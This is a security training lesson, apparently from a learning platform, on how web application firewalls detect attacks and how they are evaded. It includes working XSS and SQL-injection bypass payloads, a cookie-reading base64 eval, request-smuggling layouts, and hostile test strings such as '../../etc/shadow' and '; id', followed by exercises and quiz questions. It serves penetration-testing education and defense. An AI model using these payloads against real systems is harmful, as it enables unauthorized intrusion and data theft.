Web Application Firewall (WAF) Bypass Techniques

Understand how WAFs work and how attackers bypass them using encoding, obfuscation, protocol-level tricks, and application-specific evasion — enabling realistic security assessments.

Hard 60m 3 tasks

Learning Objectives

  • Understand WAF detection and blocking mechanisms
  • Bypass WAFs using encoding, obfuscation, and case variation
  • Use HTTP-level techniques: chunked encoding, parameter pollution
  • Fingerprint WAF products and apply product-specific bypasses
  • Understand WAF limitations and why defense-in-depth matters

How WAFs Work

WAFs inspect HTTP requests/responses for attack patterns:

Client  WAF  Web Server
         
    Inspection layer:
    - Signature matching (regex patterns)
    - Anomaly scoring (score thresholds)
    - Positive model (only allow known good)
    - Rate limiting, bot detection

Detection Methods

1. Signature-based:
   Block requests matching regex like:
   /<script.*>/i   XSS
   /UNION.+SELECT/i  SQLi
   /etc\/passwd/   LFI

2. Anomaly scoring (ModSecurity + OWASP CRS):
   Each matched rule adds a score
   If score > threshold (e.g., 5)  block

3. Positive security model:
   Allowlist only known parameters and formats
   Anything outside  block

4. Machine learning / behavioral:
   Baseline normal traffic, block anomalies

WAF Fingerprinting

# Wafw00f — identify WAF product
wafw00f https://target.com
# Output: Target is behind Cloudflare WAF

# Manual fingerprinting:
# Send obvious attack: ?q=<script>alert(1)</script>
# Block page varies by WAF:
# Cloudflare: "Ray ID" reference
# AWS WAF: "403 Forbidden" from CloudFront
# ModSecurity: "406 Not Acceptable" or custom error page
# Imperva: branded error page with incident ID

# Check response headers:
curl -I https://target.com
# X-CDN: Imperva
# CF-RAY: cloudflare
# Server: awselb/2.0 (AWS)

Encoding Bypass Techniques

URL Encoding

<script>alert(1)</script>
URL encode: %3Cscript%3Ealert%281%29%3C%2Fscript%3E

UNION SELECT
URL encode: UNION%20SELECT

Double URL encode (bypass double-decode WAF):
< = %3C  %253C
(Application decodes once, WAF decoded differently)

HTML Encoding

<script>alert(1)</script>
HTML entities: &lt;script&gt;alert(1)&lt;/script&gt;

In attribute context (browser decodes):
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
(&#97; = 'a', etc. — browser interprets HTML entities in event handlers)

Base64 in Context

// eval() decodes base64:
eval(atob("YWxlcnQoMSk="))   // atob("YWxlcnQoMSk=") = "alert(1)"

// In CSP bypass (if unsafe-eval):
<script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2ll"))</script>

SQL Bypass Encoding

-- Hex encoding (MySQL):
SELECT 0x61646d696e   -- hex of "admin"
WHERE username = 0x61646d696e   -- no quotes needed!

-- Unicode normalization:
SELECT   SELECT (some DB parsers normalize full-width)

-- Character functions:
WHERE username = CHAR(97,100,109,105,110)   -- "admin" in ASCII codes

Obfuscation Techniques

Case Manipulation

-- SQL keywords case-insensitive in most DBs:
SeLeCt * FrOm UsErS WhErE 1=1
UNION select -- might bypass, Union Select works

Comment Injection

-- MySQL inline comments:
UNI/**/ON SEL/**/ECT
UN/*avoid*/ION SEL/*bypass*/ECT
/*!UNION*/ /*!SELECT*/ 1,2,3

-- MySQL version conditional comments:
/*!50000 UNION SELECT */
(executes on MySQL >= 5.0.0)

Whitespace Alternatives

-- Tab, newline, carriage return instead of space:
UNION   SELECT
UNION
SELECT
UNION
SELECT

-- Form feed, vertical tab:
UNIONSELECT
UNIONSELECT

Keyword Splitting

UNI(ON) → if WAF matches "UNION" as whole word but not inside paren
se/**/lect → insert comment inside keyword

In some parsers:
UN%00ION → null byte inside keyword

HTTP-Level Bypass

HTTP Parameter Pollution (HPP)

GET /search?q=normal&q=<script>alert(1)</script>
WAF may check first q=normal (safe)  allow
App may use second q=<script>...  XSS executes

PHP: $_GET['q'] = last value
ASP.NET: Request.QueryString['q'] = comma-joined values

Chunked Transfer Encoding

POST /login HTTP/1.1
Transfer-Encoding: chunked

5

admin

5



pass=



0

WAF may not reassemble chunked body — sees incomplete/empty payload.

HTTP Request Smuggling

Frontend (WAF): reads Content-Length
Backend (App):  reads Transfer-Encoding

CLTE (Content-Length / Transfer-Encoding):
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0



ATTACK PAYLOAD

WAF sees one request; backend processes two — attack payload is second request without WAF inspection.

Content-Type Switching

WAF inspects JSON body for SQLi:
Content-Type: application/json  inspects JSON
Content-Type: application/x-www-form-urlencoded  inspects form
Content-Type: multipart/form-data  may not inspect body
Content-Type: application/xml  WAF may not inspect as SQLi

# If app accepts multiple formats, switch to one WAF doesn't inspect

WAF Bypass for Specific Attacks

XSS WAF Bypass

<!-- Tag filtering bypass — use SVG, Math, Details -->
<svg/onload=alert(1)>
<math><mtext></mtext><mglyph/><svg><mtext></mtext><malignmark/><svg/onload=alert(1)>
<details/open/ontoggle=alert(1)>

<!-- Attribute bypass -->
<a href="jAvAsCrIpT:alert(1)">click</a>   -- case bypass
<a href="&#106;avascript:alert(1)">        -- partial entity encode

<!-- Handler bypass (if 'on' filtered) -->
<svg><animate onbegin=alert(1)>
<body onpageshow=alert(1)>

SQLi WAF Bypass

-- UNION SELECT filtered:
UNION ALL SELECT
UNION DISTINCT SELECT
UNUNIONION SESELECTLECT  -- if WAF strips UNION and SELECT, results in original

-- Whitespace filtered:
UNION(SELECT(1),(2),(3))

-- OR/AND filtered:
||     -- OR alternative in some DBs
&&     -- AND alternative

Defense in Depth

WAF is ONE layer  not the only defense:
 WAF: blocks common attacks, reduces attack surface
 Parameterized queries: prevents SQLi regardless of WAF
 Output encoding: prevents XSS regardless of WAF
 CSP: reduces XSS impact even if WAF fails
 Input validation: reduces attack surface

A bypassed WAF should not mean a successful attack.
Defense-in-depth ensures each layer independently defends.

Using wafw00f or manual techniques: (1) fingerprint a WAF-protected target (test on a lab that simulates WAF), (2) test 5 basic payloads: , ' OR '1'='1, ../../../etc/passwd, ../../etc/shadow, ; id, (3) for each blocked payload, apply 3 bypass techniques (encoding, case, comments), (4) document which bypass worked and why.

✦ Answer the questions to complete this task

Why is signature-based WAF detection insufficient on its own?

Test HTTP-level bypasses: (1) HTTP parameter pollution: send q=safe&q= — does the WAF check only the first? (2) switch Content-Type from JSON to multipart/form-data — does the WAF still inspect the SQLi payload? (3) send chunked encoding with Attack payload in last chunk — does WAF reassemble? (4) document each finding.

✦ Answer the questions to complete this task

Why does Content-Type switching sometimes bypass WAF inspection?

Write a Python script that tests a given endpoint for WAF bypass: (1) load 10 base payloads (SQLi, XSS, LFI, command injection), (2) for each payload generate 5 variants (URL encode, double encode, case, comment, base64+eval), (3) send each variant and classify: BLOCKED (WAF) / ALLOWED (no WAF) / EXECUTED (vulnerable), (4) generate a report of all bypasses found.

✦ Answer the questions to complete this task

What HTTP status code typically indicates a WAF block?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

WAF Bypass MCQ

WAF Bypass MCQ

Start →
⚙️ Practical Medium +30 XP

WAF Bypass Assessment

WAF Bypass Assessment

Start →
🚩 Challenge Hard +50 XP

Bypass the Filter

Bypass the Filter

Start →